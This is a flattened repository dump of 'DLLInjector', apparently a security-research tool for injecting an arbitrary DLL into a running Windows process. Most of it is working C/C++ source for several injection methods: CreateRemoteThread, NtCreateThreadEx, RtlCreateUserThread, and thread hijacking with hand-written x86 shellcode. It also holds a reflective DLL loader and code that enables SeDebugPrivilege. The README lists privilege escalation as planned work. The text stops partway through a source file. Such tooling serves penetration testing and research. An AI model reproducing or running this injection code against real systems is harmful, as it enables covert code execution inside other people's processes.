├── README ├── Release ├── dllInjector-x64.exe ├── dllInjector-x64.pdb ├── dllInjector-x86.exe ├── dllInjector-x86.pdb ├── reflective_dll.dll └── reflective_dll.x64.dll ├── dllinjector.sln ├── dllinjector.suo └── src ├── AllocWriteDLL.cpp ├── AllocWriteDLL.h ├── ExecThread.cpp ├── ExecThread.h ├── Inject.c ├── LoadLibraryR.cpp ├── LoadLibraryR.h ├── ReflectiveDLLInjection.h ├── ReflectiveLoader.cpp ├── ReflectiveLoader.h ├── dllInject.vcproj ├── dllInject.vcxproj ├── dllInject.vcxproj.filters ├── dllInjector.aps ├── dllInjector.rc ├── dllinject.cpp └── resource.h /README: -------------------------------------------------------------------------------- 1 | DLLInjector v0.2 2 | brad.antoniewicz@foundstone.com 3 | -------------------------------------------------- 4 | 5 | This tool aims to implement various DLL injection techniques 6 | that work across multiple Windows versions. The user defines 7 | a DLL, a process ID, and technique and the tool attempts to 8 | inject the DLL into the process and execute it. 9 | 10 | This was built using Microsoft Visual Studio 2010 11 | 12 | It currently supports the following methods: 13 | 14 | 1. CreateRemoteThread() 15 | 16 | 2. NtCreateThreadEx() 17 | The following sites were used as a reference when implementing 18 | this method: 19 | 20 | http://securityxploded.com/ntcreatethreadex.php 21 | http://noobys-journey.blogspot.com/2010/11/injecting-shellcode-into-xpvista7.html 22 | 23 | 24 | 3. Suspend/Inject/Resume 25 | The following sites were used as a reference when implementing 26 | this method: 27 | 28 | http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html 29 | http://www.kdsbest.com/?p=159 30 | 31 | 4. RtlCreateUserThread() 32 | The following sites were used as a reference when implementing 33 | this method: 34 | 35 | http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html?showComment=1338375764336#c4138436235159645886 36 | http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Executable%20Images/RtlCreateUserThread.html 37 | 38 | Todo: 39 | 1. Implement SetWindowsHookEx() Method 40 | http://www.kdsbest.com/?p=179 41 | 42 | 2. Implement QueueUserAPC() Method 43 | http://webcache.googleusercontent.com/search?q=cache:G8i5oxOWbDMJ:www.hackforums.net/archive/index.php/thread-2442150.html+&cd=3&hl=en&ct=clnk&gl=us&client=firefox-a 44 | 45 | 3. Implement PrivEscalation as per: 46 | https://github.com/rapid7/metasploit-framework/tree/master/external/source/meterpreter/source/extensions/priv/server/elevate 47 | 48 | 49 | 50 | The original inspiration for this tool was from VMInjector: 51 | https://github.com/batistam/VMInjector 52 | 53 | Lots of great info here: 54 | https://github.com/stephenfewer/ReflectiveDLLInjection -------------------------------------------------------------------------------- /Release/dllInjector-x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/dllinjector/412f8a456f9c897d7cf135711f125827ec08ea1f/Release/dllInjector-x64.exe -------------------------------------------------------------------------------- /Release/dllInjector-x64.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/dllinjector/412f8a456f9c897d7cf135711f125827ec08ea1f/Release/dllInjector-x64.pdb -------------------------------------------------------------------------------- /Release/dllInjector-x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/dllinjector/412f8a456f9c897d7cf135711f125827ec08ea1f/Release/dllInjector-x86.exe -------------------------------------------------------------------------------- /Release/dllInjector-x86.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/dllinjector/412f8a456f9c897d7cf135711f125827ec08ea1f/Release/dllInjector-x86.pdb -------------------------------------------------------------------------------- /Release/reflective_dll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/dllinjector/412f8a456f9c897d7cf135711f125827ec08ea1f/Release/reflective_dll.dll -------------------------------------------------------------------------------- /Release/reflective_dll.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/dllinjector/412f8a456f9c897d7cf135711f125827ec08ea1f/Release/reflective_dll.x64.dll -------------------------------------------------------------------------------- /dllinjector.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dllInjector", "src\dllInject.vcxproj", "{DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Debug|x64 = Debug|x64 10 | Release|Win32 = Release|Win32 11 | Release|x64 = Release|x64 12 | Release64|Win32 = Release64|Win32 13 | Release64|x64 = Release64|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Debug|Win32.ActiveCfg = Debug|Win32 17 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Debug|Win32.Build.0 = Debug|Win32 18 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Debug|x64.ActiveCfg = Debug|x64 19 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Debug|x64.Build.0 = Debug|x64 20 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Release|Win32.ActiveCfg = Release|Win32 21 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Release|Win32.Build.0 = Release|Win32 22 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Release|x64.ActiveCfg = Release|x64 23 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Release|x64.Build.0 = Release|x64 24 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Release64|Win32.ActiveCfg = Release|Win32 25 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Release64|x64.ActiveCfg = Release64|x64 26 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847}.Release64|x64.Build.0 = Release64|x64 27 | EndGlobalSection 28 | GlobalSection(SolutionProperties) = preSolution 29 | HideSolutionNode = FALSE 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /dllinjector.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/dllinjector/412f8a456f9c897d7cf135711f125827ec08ea1f/dllinjector.suo -------------------------------------------------------------------------------- /src/AllocWriteDLL.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | AllocWriteMethods.cpp 3 | brad.antoniewicz@foundstone.com 4 | 5 | These functions return the value to start execution, and set value of lpExecParam 6 | 7 | */ 8 | #include "LoadLibraryR.h" 9 | #include 10 | 11 | LPTHREAD_START_ROUTINE AllocWriteDLL(HANDLE hTargetProcHandle, LPCSTR dllPath) { 12 | HANDLE hFile = NULL; 13 | DWORD dwLength = 0; 14 | DWORD dwBytesRead = 0; 15 | DWORD dwReflectiveLoaderOffset = 0; 16 | LPVOID lpWriteBuff = NULL; 17 | LPVOID lpDllAddr = NULL; 18 | 19 | printf("\t[+] Allocating space for entire DLL\n"); 20 | 21 | hFile = CreateFileA( dllPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); 22 | if( hFile == INVALID_HANDLE_VALUE ) { 23 | printf("\n[!] ERROR: Could not open DLL!\n"); 24 | return NULL; 25 | } 26 | 27 | dwLength = GetFileSize( hFile, NULL ); 28 | if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) { 29 | printf("\n[!] ERROR: Invalid DLL file size!\n"); 30 | return NULL; 31 | } 32 | lpWriteBuff = HeapAlloc( GetProcessHeap(), 0, dwLength ); 33 | if( !lpWriteBuff ) { 34 | printf("\n[!] ERROR: Failed to allocate memory for DLL!\n"); 35 | return NULL; 36 | } 37 | 38 | if( ReadFile( hFile, lpWriteBuff, dwLength, &dwBytesRead, NULL ) == FALSE ){ 39 | printf("\n[!] ERROR: Failed to read DLL!\n"); 40 | return NULL; 41 | } 42 | 43 | lpDllAddr = VirtualAllocEx(hTargetProcHandle, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); 44 | 45 | printf("\t\t[+] Writing into the current process space at 0x%08x\n", lpDllAddr); 46 | 47 | if (WriteProcessMemory(hTargetProcHandle, lpDllAddr, lpWriteBuff, dwLength, NULL) == 0) { 48 | printf("\n[!] WriteProcessMemory Failed [%u]\n", GetLastError()); 49 | return NULL; 50 | } 51 | 52 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff); 53 | 54 | HeapFree( GetProcessHeap(), 0, lpWriteBuff ); 55 | 56 | if( !dwReflectiveLoaderOffset ) { 57 | printf("\n[!] Error calculating Offset - Wrong Architecture?\n"); 58 | return NULL; 59 | } 60 | 61 | return (LPTHREAD_START_ROUTINE) ( (ULONG_PTR) lpDllAddr + dwReflectiveLoaderOffset ); 62 | 63 | } 64 | 65 | LPTHREAD_START_ROUTINE AllocWritePath(HANDLE hTargetProcHandle, LPCSTR dllPath, LPVOID *lpExecParam) { 66 | 67 | unsigned int writeLen = 0; 68 | LPVOID lpDllAddr = NULL; 69 | LPVOID lpWriteVal = NULL; 70 | LPVOID loadLibAddr = NULL; 71 | 72 | printf("\t[+] Allocating space for the path of the DLL\n"); 73 | 74 | lpDllAddr = VirtualAllocEx(hTargetProcHandle, NULL, strlen(dllPath), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); 75 | 76 | printf("\t\t[+] Writing into the current process space at 0x%08x\n", lpDllAddr); 77 | if (WriteProcessMemory(hTargetProcHandle, lpDllAddr, dllPath, strlen(dllPath), NULL) == 0) { 78 | printf("\n[!] WriteProcessMemory Failed [%u]\n", GetLastError()); 79 | return NULL; 80 | } 81 | 82 | *lpExecParam = (LPVOID *)lpDllAddr; 83 | 84 | printf("\t\t[+] Looking for LoadLibrary in kernel32\n"); 85 | loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA"); 86 | if (loadLibAddr == NULL) { 87 | printf("\n[!] Failed to find LoadLibrary in Kernel32! Quiting...\n"); 88 | return NULL; 89 | } 90 | printf("\t\t[+] Found at 0x%08x\n",loadLibAddr); 91 | 92 | return (LPTHREAD_START_ROUTINE) loadLibAddr; 93 | 94 | } 95 | -------------------------------------------------------------------------------- /src/AllocWriteDLL.h: -------------------------------------------------------------------------------- 1 | /* 2 | AllocWriteDLL.h 3 | brad.antoniewicz@foundstone.com 4 | 5 | Contains headers for the Alloc/Write/Determine Address functions. 6 | See AllocWriteDLL.cpp for more information 7 | 8 | */ 9 | 10 | LPTHREAD_START_ROUTINE AllocWriteDLL(HANDLE hTargetProcHandle, LPCSTR dllPath); 11 | LPTHREAD_START_ROUTINE AllocWritePath(HANDLE hTargetProcHandle, LPCSTR dllPath, LPVOID *lpExecParam); -------------------------------------------------------------------------------- /src/ExecThread.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | CreateMethods.cpp 3 | brad.antoniewicz@foundstone.com 4 | 5 | Contains the thread creation functions. 6 | 7 | Currently implements: 8 | 9 | 1. Suspend/Inject/Resume Method 10 | 2. ntCreateThreadEx() 11 | 3. RtlCreateUserThread() 12 | */ 13 | 14 | 15 | 16 | #include 17 | #include 18 | #include 19 | #include "ExecThread.h" 20 | #include "AllocWriteDLL.h" 21 | 22 | #ifndef _WIN64 23 | VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) { 24 | /* 25 | This is a mixture from the following sites: 26 | 27 | http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html 28 | http://www.kdsbest.com/?p=159 29 | 30 | */ 31 | 32 | HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); 33 | HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); 34 | HANDLE thread = NULL; 35 | THREADENTRY32 te; 36 | THREADENTRY32 te2; 37 | 38 | CONTEXT ctx; 39 | DWORD firstThread = 0; 40 | HANDLE targetThread = NULL; 41 | 42 | LPVOID scAddr; 43 | 44 | int i; 45 | 46 | unsigned char sc[] = { 47 | // Push all flags 48 | 0x9C, 49 | // Push all register 50 | 0x60, 51 | // Push 3,4,5,6 (dllPathAddr) 52 | 0x68, 0xAA, 0xAA, 0xAA, 0xAA, 53 | // Mov eax, 8,9,10, 11 (loadLibAddr) 54 | 0xB8, 0xBB, 0xBB, 0xBB, 0xBB, 55 | // Call eax 56 | 0xFF, 0xD0, 57 | // Pop all register 58 | 0x61, 59 | // Pop all flags 60 | 0x9D, 61 | // Ret 62 | 0xC3 63 | }; 64 | 65 | te.dwSize = sizeof(THREADENTRY32); 66 | te2.dwSize = sizeof(THREADENTRY32); 67 | ctx.ContextFlags = CONTEXT_FULL; 68 | 69 | sc[3] = ((unsigned int) dllPathAddr & 0xFF); 70 | sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF); 71 | sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF); 72 | sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF); 73 | 74 | sc[8] = ((unsigned int) loadLibAddr & 0xFF); 75 | sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF); 76 | sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF); 77 | sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF); 78 | 79 | 80 | 81 | // Suspend Threads 82 | if(Thread32First(hSnapshot, &te)) { 83 | do { 84 | if(te.th32OwnerProcessID == GetProcessId(hHandle)) { 85 | if ( firstThread == 0 ) 86 | firstThread = te.th32ThreadID; 87 | thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID); 88 | if(thread != NULL) { 89 | printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID); 90 | SuspendThread(thread); 91 | CloseHandle(thread); 92 | } else { 93 | printf("\t[+] Could not open thread!\n"); 94 | } 95 | } 96 | } while(Thread32Next(hSnapshot, &te)); 97 | } else { 98 | printf("\t[+] Could not Thread32First! [%d]\n", GetLastError()); 99 | CloseHandle(hSnapshot); 100 | exit(-1); 101 | } 102 | CloseHandle(hSnapshot); 103 | 104 | printf("\t[+] Our Launcher Code:\n\t"); 105 | for (i=0; i<17; i++) 106 | printf("%02x ",sc[i]); 107 | printf("\n"); 108 | // Get/Save EIP, Inject 109 | printf("\t[+] Targeting Thread 0x%08x\n",firstThread); 110 | targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread); 111 | if (GetThreadContext(targetThread, &ctx) == 0) 112 | printf("[!] GetThreadContext Failed!\n"); 113 | printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp); 114 | 115 | printf("\t[+] Saving EIP for our return\n"); 116 | ctx.Esp -= sizeof(unsigned int); 117 | WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL); 118 | printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp); 119 | 120 | scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 121 | printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError()); 122 | 123 | printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL)); 124 | 125 | printf("\t[+] Setting EIP to LauncherCode\n"); 126 | ctx.Eip = (DWORD)scAddr; 127 | printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp); 128 | 129 | if (SetThreadContext(targetThread, &ctx) == 0) 130 | printf("[!] SetThreadContext Failed!\n"); 131 | 132 | // Resume Threads 133 | hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); 134 | te.dwSize = sizeof(THREADENTRY32); 135 | 136 | if(Thread32First(hSnapshot2, &te2)) { 137 | do { 138 | if(te2.th32OwnerProcessID == GetProcessId(hHandle)) { 139 | thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID); 140 | if(thread != NULL) { 141 | printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID); 142 | ResumeThread(thread); 143 | if (te2.th32ThreadID == firstThread) 144 | WaitForSingleObject(thread, 5000); 145 | CloseHandle(thread); 146 | } else { 147 | printf("\t[+] Could not open thread!\n"); 148 | } 149 | } 150 | } while(Thread32Next(hSnapshot2, &te2)); 151 | } else { 152 | printf("\t[+] Could not Thread32First! [%d]\n", GetLastError()); 153 | CloseHandle(hSnapshot2); 154 | exit(-1); 155 | } 156 | CloseHandle(hSnapshot2); 157 | } 158 | #endif 159 | 160 | HANDLE bCreateRemoteThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) { 161 | 162 | HANDLE hRemoteThread = NULL; 163 | 164 | LPVOID ntCreateThreadExAddr = NULL; 165 | NtCreateThreadExBuffer ntbuffer; 166 | DWORD temp1 = 0; 167 | DWORD temp2 = 0; 168 | 169 | ntCreateThreadExAddr = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx"); 170 | 171 | if( ntCreateThreadExAddr ) { 172 | 173 | ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer); 174 | ntbuffer.Unknown1 = 0x10003; 175 | ntbuffer.Unknown2 = 0x8; 176 | ntbuffer.Unknown3 = &temp2; 177 | ntbuffer.Unknown4 = 0; 178 | ntbuffer.Unknown5 = 0x10004; 179 | ntbuffer.Unknown6 = 4; 180 | ntbuffer.Unknown7 = &temp1; 181 | ntbuffer.Unknown8 = 0; 182 | 183 | LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr; 184 | NTSTATUS status = funNtCreateThreadEx( 185 | &hRemoteThread, 186 | 0x1FFFFF, 187 | NULL, 188 | hHandle, 189 | (LPTHREAD_START_ROUTINE)loadLibAddr, 190 | dllPathAddr, 191 | FALSE, 192 | NULL, 193 | NULL, 194 | NULL, 195 | &ntbuffer 196 | ); 197 | 198 | if (hRemoteThread == NULL) { 199 | printf("\t[!] NtCreateThreadEx Failed! [%d][%08x]\n", GetLastError(), status); 200 | return NULL; 201 | } else { 202 | return hRemoteThread; 203 | } 204 | } else { 205 | printf("\n[!] Could not find NtCreateThreadEx!\n"); 206 | } 207 | return NULL; 208 | 209 | } 210 | 211 | HANDLE bCreateUserThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) { 212 | /* 213 | Provided help 214 | http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html?showComment=1338375764336#c4138436235159645886 215 | http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Executable%20Images/RtlCreateUserThread.html 216 | http://www.rohitab.com/discuss/topic/39493-using-rtlcreateuserthread/ 217 | */ 218 | 219 | 220 | HANDLE hRemoteThread = NULL; 221 | LPVOID rtlCreateUserAddr = NULL; 222 | 223 | CLIENT_ID cid; 224 | 225 | rtlCreateUserAddr = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "RtlCreateUserThread"); 226 | 227 | if( rtlCreateUserAddr ) { 228 | 229 | LPFUN_RtlCreateUserThread funRtlCreateUserThread = (LPFUN_RtlCreateUserThread)rtlCreateUserAddr; 230 | funRtlCreateUserThread( 231 | hHandle, // ProcessHandle 232 | NULL, // SecurityDescriptor (OPTIONAL) 233 | FALSE, // CreateSuspended 234 | 0, // StackZeroBits 235 | 0, // StackReserved 236 | 0, // StackCommit 237 | (PVOID) loadLibAddr,// StartAddress 238 | (PVOID) dllPathAddr,// StartParameter (OPTIONAL) 239 | &hRemoteThread, // ThreadHandle 240 | &cid // ClientID 241 | ); 242 | 243 | if (hRemoteThread == NULL) { 244 | printf("\t[!] RtlCreateUserThread Failed! [%d]\n", GetLastError()); 245 | return NULL; 246 | } else { 247 | return hRemoteThread; 248 | } 249 | } else { 250 | printf("\n[!] Could not find RtlCreateUserThread!\n"); 251 | } 252 | return NULL; 253 | 254 | } -------------------------------------------------------------------------------- /src/ExecThread.h: -------------------------------------------------------------------------------- 1 | /* 2 | CreateMethods.h 3 | brad.antoniewicz@foundstone.com 4 | 5 | Contains headers for the thread creation functions. 6 | See CreateMethods.cpp for more information 7 | 8 | */ 9 | 10 | struct NtCreateThreadExBuffer { 11 | ULONG Size; 12 | ULONG Unknown1; 13 | ULONG Unknown2; 14 | PULONG Unknown3; 15 | ULONG Unknown4; 16 | ULONG Unknown5; 17 | ULONG Unknown6; 18 | PULONG Unknown7; 19 | ULONG Unknown8; 20 | }; 21 | 22 | 23 | typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( 24 | OUT PHANDLE hThread, 25 | IN ACCESS_MASK DesiredAccess, 26 | IN LPVOID ObjectAttributes, 27 | IN HANDLE ProcessHandle, 28 | IN LPTHREAD_START_ROUTINE lpStartAddress, 29 | IN LPVOID lpParameter, 30 | IN BOOL CreateSuspended, 31 | IN ULONG StackZeroBits, 32 | IN ULONG SizeOfStackCommit, 33 | IN ULONG SizeOfStackReserve, 34 | OUT LPVOID lpBytesBuffer 35 | ); 36 | 37 | typedef struct _CLIENT_ID 38 | { 39 | PVOID UniqueProcess; 40 | PVOID UniqueThread; 41 | } CLIENT_ID, *PCLIENT_ID; 42 | 43 | typedef long (WINAPI *LPFUN_RtlCreateUserThread)( 44 | HANDLE, // ProcessHandle 45 | PSECURITY_DESCRIPTOR, // SecurityDescriptor (OPTIONAL) 46 | BOOLEAN, // CreateSuspended 47 | ULONG, // StackZeroBits 48 | PULONG, // StackReserved 49 | PULONG, // StackCommit 50 | PVOID, // StartAddress 51 | PVOID, // StartParameter (OPTIONAL) 52 | PHANDLE, // ThreadHandle 53 | PCLIENT_ID // ClientID 54 | ); 55 | 56 | 57 | #ifndef _WIN64 58 | VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr); 59 | #endif 60 | HANDLE bCreateRemoteThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr); 61 | HANDLE bCreateUserThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr); -------------------------------------------------------------------------------- /src/Inject.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #define WIN32_LEAN_AND_MEAN 29 | #include 30 | #include 31 | #include 32 | #include "LoadLibraryR.h" 33 | 34 | #pragma comment(lib,"Advapi32.lib") 35 | 36 | #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } 37 | 38 | // Simple app to inject a reflective DLL into a process vis its process ID. 39 | int main( int argc, char * argv[] ) 40 | { 41 | HANDLE hFile = NULL; 42 | HANDLE hModule = NULL; 43 | HANDLE hProcess = NULL; 44 | HANDLE hToken = NULL; 45 | LPVOID lpBuffer = NULL; 46 | DWORD dwLength = 0; 47 | DWORD dwBytesRead = 0; 48 | DWORD dwProcessId = 0; 49 | TOKEN_PRIVILEGES priv = {0}; 50 | 51 | #ifdef WIN_X64 52 | char * cpDllFile = "reflective_dll.x64.dll"; 53 | #else 54 | #ifdef WIN_X86 55 | char * cpDllFile = "reflective_dll.dll"; 56 | #else WIN_ARM 57 | char * cpDllFile = "reflective_dll.arm.dll"; 58 | #endif 59 | #endif 60 | 61 | do 62 | { 63 | // Usage: inject.exe [pid] [dll_file] 64 | 65 | if( argc == 1 ) 66 | dwProcessId = GetCurrentProcessId(); 67 | else 68 | dwProcessId = atoi( argv[1] ); 69 | 70 | if( argc >= 3 ) 71 | cpDllFile = argv[2]; 72 | 73 | hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); 74 | if( hFile == INVALID_HANDLE_VALUE ) 75 | BREAK_WITH_ERROR( "Failed to open the DLL file" ); 76 | 77 | dwLength = GetFileSize( hFile, NULL ); 78 | if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) 79 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 80 | 81 | lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); 82 | if( !lpBuffer ) 83 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 84 | 85 | if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) 86 | BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); 87 | 88 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) 89 | { 90 | priv.PrivilegeCount = 1; 91 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 92 | 93 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) 94 | AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); 95 | 96 | CloseHandle( hToken ); 97 | } 98 | 99 | hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); 100 | if( !hProcess ) 101 | BREAK_WITH_ERROR( "Failed to open the target process" ); 102 | 103 | hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); 104 | if( !hModule ) 105 | BREAK_WITH_ERROR( "Failed to inject the DLL" ); 106 | 107 | printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); 108 | 109 | WaitForSingleObject( hModule, -1 ); 110 | 111 | } while( 0 ); 112 | 113 | if( lpBuffer ) 114 | HeapFree( GetProcessHeap(), 0, lpBuffer ); 115 | 116 | if( hProcess ) 117 | CloseHandle( hProcess ); 118 | 119 | return 0; 120 | } -------------------------------------------------------------------------------- /src/LoadLibraryR.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "LoadLibraryR.h" 29 | #include 30 | //===============================================================================================// 31 | DWORD Rva2Offset( DWORD dwRva, 